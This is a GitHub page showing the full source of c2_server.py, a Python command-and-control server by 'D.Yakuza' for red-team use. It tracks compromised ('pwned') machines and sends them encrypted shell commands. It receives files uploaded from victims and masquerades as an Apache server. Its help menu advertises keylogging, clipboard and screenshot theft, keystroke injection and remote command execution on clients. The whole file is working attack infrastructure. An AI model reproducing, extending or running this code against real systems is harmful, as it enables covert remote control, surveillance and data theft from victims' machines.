-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathc2_server.py
493 lines (404 loc) · 26.2 KB
/
c2_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
""" c2_server.py -
Yakuza Command & Control (C2) Server codes
Author: Davood Yahay(D.Yakuza)
Last Update: 10 oct 2024, 16 mehr 1403
"""
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from os import path, mkdir, listdir, system
from platform import system as platform_system
from urllib.parse import unquote_plus
# Custom Features Import
from datetime import datetime
from colorama import Fore
from inputimeout import inputimeout, TimeoutOccurred
from pyzipper import AESZipFile, ZIP_LZMA, WZ_AES
from sys import exit
from encryption import cipher
# Settings Variables(Constants) Importing
from settings import (CMD_REQUEST, CWD_RESPONSE, FILE_REQUEST, RESPONSE, RESPONSE_KEY, INPUT_TIMEOUT, KEEP_ALIVE_CMD,
BIND_ADDR, PORT, FILE_SEND, INCOMING, OUTGOING, ZIP_PASSWORD, SHELL_WINDOWS, SHELL_LINUX, SHELL,
LOG)
def get_new_client():
"""Function to check if other sessions exist if none do Re-Initialize variables.
However, if sessions do exist, Allow the Red Team operator to pick one to become a new active session"""
# this variable must be global, as they will often be updated via multiple session
global activeClient, pwnedDict, pwnedId, cwd
# Delete Lost Connection Client from pwnedDict
# del pwnedDict[activeSession]
# Reinitialize cwd to its starting value of tilde
cwd = "~"
# If pwnedDict is empty, Re initialize pwnedId & activeSession
if len(pwnedDict) == 1:
print(Fore.LIGHTBLUE_EX + "[+] Waiting for a new Connection... \n" + Fore.RESET)
# Re-initialize pwnedDict & pwnedId & activeClient
pwnedDict = {}
pwnedId = 0
activeClient = 1
# if pwnedDict have items, print it on display to choose active session and switch to it
else:
# display sessions in our dictionary and choose one of them to switch over to
while True:
for key, value in pwnedDict.items():
if key != activeClient:
print(f"{Fore.LIGHTGREEN_EX}{key}{Fore.MAGENTA} - {Fore.LIGHTYELLOW_EX}{value}{Fore.RESET}")
try:
newSession = int(input(f"{Fore.LIGHTGREEN_EX}\n[+] Choose Session Number "
f"to Make it Active => {Fore.RESET}"))
except ValueError:
print(Fore.LIGHTRED_EX + "\n[-] Enter Number Only; You must choose a pwned ID of "
"one of the sessions show on the Screen\n" + Fore.RESET)
continue
# Ensure entered pwnedId exists in pwnedDict and set activeSession to it
if newSession in pwnedDict and newSession != activeClient:
oldActiveSession = activeClient
activeClient = newSession
del pwnedDict[oldActiveSession]
print(Fore.LIGHTGREEN_EX + f"\n[+] Active Session is Now Set on: "
f"{pwnedDict[activeClient]} \n" + Fore.RESET)
break
# if newSession not in pwnedDict actually wrong chosen number
else:
print(Fore.LIGHTRED_EX + "\n[-] => Wrong Choice; You must choose One of the Pwned ID's "
"you see on the Screen\n")
continue
class C2Handler(BaseHTTPRequestHandler):
"""This class is a child of the BaseHTTPRequestHandler class.
It handles all http requests arrived from the client
"""
# Make our Server look like an Up-to-date Apache2 Server on CentOS
server_version = "Apache/4.6.2"
sys_version = "(CentOS)"
def do_GET(self):
"""this method handles all http GET Requests arrived at the C2 server.
first send 404 status codes"""
global activeClient, clientAccount, clientHostname, pwnedId, pwnedDict, cwd
if self.path.startswith(CMD_REQUEST):
# Split out the Client from http GET Request
client = self.path.split(CMD_REQUEST)[1]
# Decrypt the client data
client = cipher.decrypt(client.encode()).decode()
# get the client IP from the client_address built-in property
clientIp = self.client_address[0]
# Split out the client Account Name
clientAccount = client.split("@")[0]
# Split out the client Host Name
clientHostname = client.split("@")[1]
# Check the client is existing in pwnedDict
if client not in pwnedDict.values():
# Send http Response code and header back to a client
self.http_response(404)
# Increment pwnedId and add the client to pwnedDict using pwnedId as Dict
pwnedId += 1
pwnedDict[pwnedId] = client
# Print Pwned Client Message & Information
print(Fore.LIGHTGREEN_EX + f"[+] {clientAccount}@{clientHostname}({clientIp}) has been Pwned \n" + Fore.RESET)
# Write log file to LOG(pwned.log)
with open(LOG, "a") as fileHandle:
fileHandle.write(f"{datetime.now()}, {self.client_address}, {pwnedDict[pwnedId]}\n")
# If the client in pwnedDict and also is Active Session
elif client == pwnedDict[activeClient]:
# if INPUT_TIMEOUT is set, run inputimeout instead of regular input
if INPUT_TIMEOUT:
try:
# Azure kill a waiting HTTP GET Session after 4 minutes(230 seconds in Windows & 240 in Linux)
# so we must handle input with a timeout as below
command = inputimeout(f"({clientIp}){clientAccount}@{clientHostname}:{cwd}$ ",
timeout=INPUT_TIMEOUT)
# if a timeout Occurs on our input, do a simple command to trigger a new session
except TimeoutOccurred:
command = KEEP_ALIVE_CMD
else:
# Collect Command from regular input to run on the c2 client
command = input(Fore.RESET + f"({clientIp}){clientAccount}@{clientHostname}:{cwd}:"
f"$ " + Fore.LIGHTYELLOW_EX)
print(Fore.RESET)
if command.startswith("server "):
# The 'server show clients' commands will display pwned systems and our active session information
if command == "server show clients":
# Print pwned systems and active session information to our screen
print(f"{Fore.LIGHTCYAN_EX}Available Pwned Machines:{Fore.RESET}")
printLast = None
for key, value in pwnedDict.items():
if key == activeClient:
printLast = str(key) + " - " + value
else:
print(f"{Fore.LIGHTGREEN_EX}{key}{Fore.MAGENTA} - "
f"{Fore.LIGHTYELLOW_EX}{value}{Fore.RESET}")
print(f"\n{Fore.LIGHTCYAN_EX}Your Active Sessions: {Fore.RESET}",
f"{Fore.LIGHTYELLOW_EX}{printLast}{Fore.RESET}\n", sep="\n")
# The 'server control PWNED_ID' command allow us to change active session
elif command.startswith("server control "):
# Make sure the supplied pwnedId is Valid, and if so, make the Switch
try:
possibleActiveClient = int(command.split()[2])
if possibleActiveClient in pwnedDict:
activeClient = possibleActiveClient
print(f"Waiting for {pwnedDict[activeClient]} to Wake up.")
else:
raise ValueError
except (ValueError, IndexError):
print(f"{Fore.LIGHTRED_EX}\n[-] => You must enter a Proper Pwned ID. \n"
f"{Fore.GREEN}[+] => {Fore.RESET}Use {Fore.LIGHTYELLOW_EX}server show clients "
f"{Fore.RESET}command to see Available PwnedID's\n")
elif command.startswith("server zip "):
# Check if a supplied file exists in outgoing dir
filename = " ".join(command.split()[2:])
# Check filename is entered
if not filename:
print(f"{Fore.LIGHTRED_EX}\n[-] => You must enter a filename located in {OUTGOING} to "
f"Zip-Encrypt it. {Fore.RESET}\n")
else:
try:
if not path.isfile(f"{OUTGOING}/{filename}"):
raise OSError
# Zip Encrypted file that is setting in our outgoing folder
with AESZipFile(f"{OUTGOING}/{filename}.zip", "w",
compression=ZIP_LZMA, encryption=WZ_AES) as zipFile:
zipFile.setpassword(ZIP_PASSWORD)
zipFile.write(f"{OUTGOING}/{filename}", arcname=filename)
print(f"{Fore.LIGHTGREEN_EX}[+]-Server => {OUTGOING}/{filename} is now Zip-Encrypted "
f"=> {Fore.RESET}{OUTGOING}/{filename}.zip \n")
except OSError:
print(f"{Fore.LIGHTRED_EX}\n[-] => Don't Access to {OUTGOING}/{filename}. {Fore.RESET}\n")
# server unzip command allows us to unzip decrypted zip files in incoming folder on C2 Server
elif command.startswith("server unzip"):
filename = " ".join(command.split()[2:])
# Check filename is entered
if not filename:
print(f"{Fore.LIGHTRED_EX}\n[-] => You must enter a filename located in {INCOMING} to "
f"Unzip-Decrypt it. {Fore.RESET}\n")
else:
# Unzip AES Encrypted file that is setting in our storage folder
try:
with AESZipFile(f"{INCOMING}/{filename}") as zipFile:
zipFile.setpassword(ZIP_PASSWORD)
zipFile.extractall(INCOMING)
print(f"[+]-Server => {INCOMING}/{filename} is now Unzipped and Decrypted. \n")
except FileNotFoundError:
print(f"{Fore.LIGHTRED_EX}[-]-Server => {filename} was not found in {INCOMING}. \n")
except OSError:
print(
f"{Fore.LIGHTRED_EX}[-]-Server => OS Error when Unzipped-Decrypted {filename} in {INCOMING}.\n")
# The 'server list DIRECTORY' allows us to list files in a folder on the C2 Server
elif command.startswith("server list"):
directory = None
try:
directory = command.split()[2]
print(*listdir(directory), sep="\n")
except NotADirectoryError:
print(f"{Fore.LIGHTRED_EX}[-]-Server => {directory} is not a Directory.{Fore.RESET}")
except FileNotFoundError:
print(f"{Fore.LIGHTRED_EX}[-]-Server => {directory} was not found on the C2 Server.{Fore.RESET}")
except IndexError:
print(*listdir(), sep="\n")
elif command == "server exit":
# Shutting Down the C2 Server
print(Fore.LIGHTMAGENTA_EX + f"\n[*] Server: {server.server_address[0]} has been shutting down.\n"
f"{Fore.LIGHTBLUE_EX} Goodbye Ninja,,, 🥷🥷🏽🥷🏿🥷🏻🥷🏽 \n")
server.shutdown()
elif command.startswith("server shell"):
print(f"{Fore.LIGHTGREEN_EX}[+]-Server => Use {Fore.LIGHTMAGENTA_EX}Control+D{Fore.LIGHTGREEN_EX} "
f"or Type {Fore.LIGHTMAGENTA_EX}exit {Fore.LIGHTGREEN_EX} to return to the C2 Server's "
f"Terminal window.\n{Fore.RESET}")
# Detect os using platform.system() importing as "platform_system",
# after detect Based on the OS, run the shell command
if platform_system() == "Windows":
print(f"{Fore.LIGHTBLUE_EX}[+]-Server => Windows Shell(CMD) is Running.\n{Fore.RESET}")
system(SHELL_WINDOWS)
elif platform_system() == "Linux":
print(f"{Fore.LIGHTBLUE_EX}[+]-Server => Linux Shell(Bash) is Running.\n{Fore.RESET}")
system(SHELL_LINUX)
# Change SHELL to Change shell for Un Recognized OS
else:
print(f"{Fore.LIGHTRED_EX}[-]-Server => OS {Fore.BLUE}({platform_system()}){Fore.LIGHTRED_EX}"
f" Not Recognized, but BASH shell by default is Running\n{Fore.RESET}")
system(SHELL)
elif command == "server help":
# Print Client Commands
print("\033[1;32m" + "===> Client Commands <===" + "\033[0m")
print(
"\033[1;34mclient download FILENAME\033[0m => transfer a file from the server to the client",
"\033[1;34mclient upload FILENAME\033[0m => transfer a file from the client to the server",
"\033[1;34mclient zip FILENAME\033[0m => zip and encrypt a file on the client",
"\033[1;34mclient unzip FILENAME\033[0m => unzip and decrypt a file on the client",
"\033[1;34mclient kill\033[0m => permanently shutdown the active client",
"\033[1;34mclient delay SECONDS\033[0m => change the delay setting for a client's reconnection attempts",
"\033[1;34mclient get clipboard\033[0m => grab a copy of the client's clipboard",
"\033[1;34mclient keylog on\033[0m => start up a keylogger on the client",
"\033[1;34mclient keylog off\033[0m => turn off the keylogger on the client and write the results to disk",
"\033[1;34mclient type TEXT\033[0m => type the text you choose on a client's keyboard",
"\033[1;34mclient screenshot\033[0m => grab a copy of the client's screen",
"\033[1;34mclient display IMAGE\033[0m => display an image on the client's screen",
"\033[1;34mclient max sound\033[0m => turn a client's volume all the way up",
"\033[1;34mclient play FILENAME.wav\033[0m => play a .wav sound file on the client (Windows Only)",
"\033[1;34mclient flip screen\033[0m => flip a client's screen upside down (Windows Only)",
"\033[1;34mclient rotate screen\033[0m => rotate a client's screen upside down (Windows Only)",
"\033[1;34m*\033[0m => run an OS command on the client that doesn't require input",
"\033[1;34m* &\033[0m => run an OS command on the client in the background",
sep="\n"
)
# Print Server Commands
print("\n\033[1;32m" + "===> Server Commands <===" + "\033[0m")
print(
"\033[1;33mserver show clients\033[0m => print an active listing of our pwned clients",
"\033[1;33mserver control PWNED_ID\033[0m => change the active client that you have a prompt for",
"\033[1;33mserver zip FILENAME\033[0m => zip and encrypt a file in the outgoing folder on the server",
"\033[1;33mserver unzip FILENAME\033[0m => unzip and decrypt a file in the incoming folder on the server",
"\033[1;33mserver list DIRECTORY\033[0m => obtain a file listing of a directory on the server",
"\033[1;33mserver shell\033[0m => obtain a shell on the server",
"\033[1;33mserver exit\033[0m => gracefully shuts down the server",
sep="\n"
)
# Must respond to the client after a server command to cleanly finish the connection
self.http_response(204)
# Else Command is not a special,
# Write it on the Response File and then a client able to read it and run it
else:
# Send 200 status codes Write the Command back to the client as a Response;
# must use UTF-8 for encoding
try:
# Send HTTP Response Code and Header back to the client
self.http_response(200)
# Write the Command back to the client as a Response; must use UTF-8 for encoding
self.wfile.write(cipher.encrypt(command.encode()))
except OSError:
# Print lost connection message
print(Fore.RED + f"[!] Lost Connection to {pwnedDict[activeClient]}. \n" + Fore.RESET)
get_new_client()
# Handle KeyboardInterrupt - Optional
except KeyboardInterrupt:
print(Fore.LIGHTMAGENTA_EX + "\n[*] User has been Interrupted the C2 Server" + Fore.RESET)
exit()
# Handle Unknown & Other Errors - Optional
except Exception as e:
print(Fore.LIGHTRED_EX + "[!] Unknown Error when Sending Command to C2 Client\n" + Fore.RESET)
print(f'Error Content:\n{e}')
# else block for fixing client kill command for the down client
else:
# If we have just killed a client, try to get a new session to set it active
if command == "client kill":
print(f"[+]-Server => {pwnedDict[activeClient]} has been killed. \n")
get_new_client()
# if client in the pwnedDict but is Not Active Session
else:
# Send HTTP Response Code and Header back to the client
self.http_response(404)
# Follow this code block when a compromised computer is request a file
elif self.path.startswith(FILE_REQUEST):
# Split out the encrypted filepath from HTTP GET Request
filepath = self.path.split(FILE_REQUEST)[1]
# Encode the file path because decrypt requires it, then decrypt and then decode it
filepath = cipher.decrypt(filepath.encode()).decode()
# Get the filename from the filepath to using in a print statement
filename = path.basename(filepath)
# Read the requested file into memory and stream it back for the client's GET Response
try:
with open(f"{filepath}", "rb") as fileHandle:
self.http_response(200)
self.wfile.write(cipher.encrypt(fileHandle.read()))
print(f"[+] Server: {filename} has been Downloaded on C2 client from C2 Server.")
except OSError:
print(f"{filepath} was not found on C2 Server.")
self.http_response(404)
else:
"""NO body should ever post to our C2 Server other than the above paths; so
this code block for security and avoiding posting from attackers"""
print(Fore.LIGHTRED_EX + f"⛔ {self.client_address[0]} just Accessed {self.path} on our C2 Server 🔐. "
f"Why?\n Asking from yourself 🙃 \n")
def do_POST(self):
"""this method handles all http POST Requests arrived at the C2 server."""
# Follow code when compromised Computer requesting command
if self.path == RESPONSE:
# Print Result of stdout arrived from the client in Plain Text format
print(self.handle_post_data())
# Follow code when a compromised Computer is responding with the current directory
elif self.path == CWD_RESPONSE:
global cwd
cwd = self.handle_post_data()
# Else, if the path is not one of the Defined and Known paths, print a warning message
else:
""" NO body should ever post to our C2 Server other than the above paths; so
this code block for security and avoiding posting from attackers"""
print(Fore.LIGHTRED_EX + f"⛔ {self.client_address[0]} just Accessed {self.path} on our C2 Server 🔐. "
f"Why?\n Asking from yourself 🙃 \n")
def do_PUT(self):
"""this method handle all HTTP PUT Requests arrived to C2 Server"""
# Follow this code block when the compromised machine is sending the file to the server
if self.path.startswith(FILE_SEND + "/"):
self.http_response(200)
# Split out the encrypted filename from http put requests
filename = self.path.split(FILE_SEND + "/")[1]
# Encode the file because decryption requires it, then decrypt and then decode
filename = cipher.decrypt(filename.encode()).decode()
# Add filename to our storage path
incomingFile = INCOMING + "/" + filename
# We need Content Length to properly read in the file
# noinspection PyTypeChecker
fileLength = int(self.headers["Content-Length"])
# Read the Stream coming from our connected client, then decrypt it and write the file to disk on C2 server
with open(incomingFile, 'wb') as fileHandle:
uploadData = cipher.decrypt(self.rfile.read(fileLength))
fileHandle.write(uploadData)
print(f"[+] Server: {incomingFile} has been Written on C2 Server")
# Nobody should ever get here using an HTTP Put method
else:
print(Fore.LIGHTRED_EX + f"⛔ {self.client_address[0]} just Accessed {self.path} on our C2 Server 🔐. "
f"Why?\n Asking from yourself 🙃 \n")
def handle_post_data(self):
""" this function handles all http POST Requests arrived at the C2 client."""
# Send http Response code and header back to the client
self.http_response(200)
# Get Content Length value from http headers
contentLength = int(self.headers.get('Content-Length')) # noqa
# gather the client's data by reading in the HTTP POST data
clientData = self.rfile.read(contentLength)
# Decode clientData
clientData = clientData.decode()
# Remove the HTTP Post Variable and the equal sign from the client's data
clientData = clientData.replace(f"{RESPONSE_KEY}=", "", 1)
# HTML/URL decode the Clients data(stdout) and translate "+" to a Space
clientData = unquote_plus(clientData)
# Encode the client data because Decryption requires it, then Decrypt, then Decode
clientData = cipher.decrypt(clientData.encode()).decode()
# Return Processed clientData
return clientData
def http_response(self, code: int):
"""this function sends the HTTP Response codes
and Headers back to the client"""
self.send_response(code)
self.end_headers()
def log_request(self, code="-", size="-"):
"""Override this function because by default these functions write to screen,
but we need and want to write logs into a file
"""
return
# maps to the clients we have a prompt from that
activeClient = 1
# this is accounts from the client belonging to Active Sessions
clientAccount = ""
# this is a hostname from client belonging to Active Sessions
clientHostname = ""
# Use to count and track each client connecting to C2 Servers(pwned by C2 Server)
pwnedId = 0
# Track all pwned clients; key = pwned_id and value is unique from each client.
# value follow this pattern => (account@hostname@epoch time)
pwnedDict = {}
# This a current working directory from the client belonging to active session
cwd = "~"
# If the INCOMING Directory is not present on our c2 server, Create it
if not path.isdir(INCOMING):
mkdir(INCOMING)
# If the OUTGOING Directory is not present on our c2 server, Create it
if not path.isdir(OUTGOING):
mkdir(OUTGOING)
# Instance from HTTP Server
# noinspection PyTypeChecker
server = ThreadingHTTPServer((BIND_ADDR, PORT), C2Handler)
print(Fore.LIGHTBLUE_EX + "[+] Waiting for a new Connection... \n" + Fore.RESET)
# Run Server in infinity Loop
try:
server.serve_forever()
except KeyboardInterrupt:
print(Fore.LIGHTRED_EX + f"\n[*] Server: {server.server_address[0]} has been shutting down.\n{Fore.BLUE} "
f"Goodbye Ninja,,, 🥷🥷🏽🥷🏿🥷🏻🥷🏽 \n")
server.shutdown()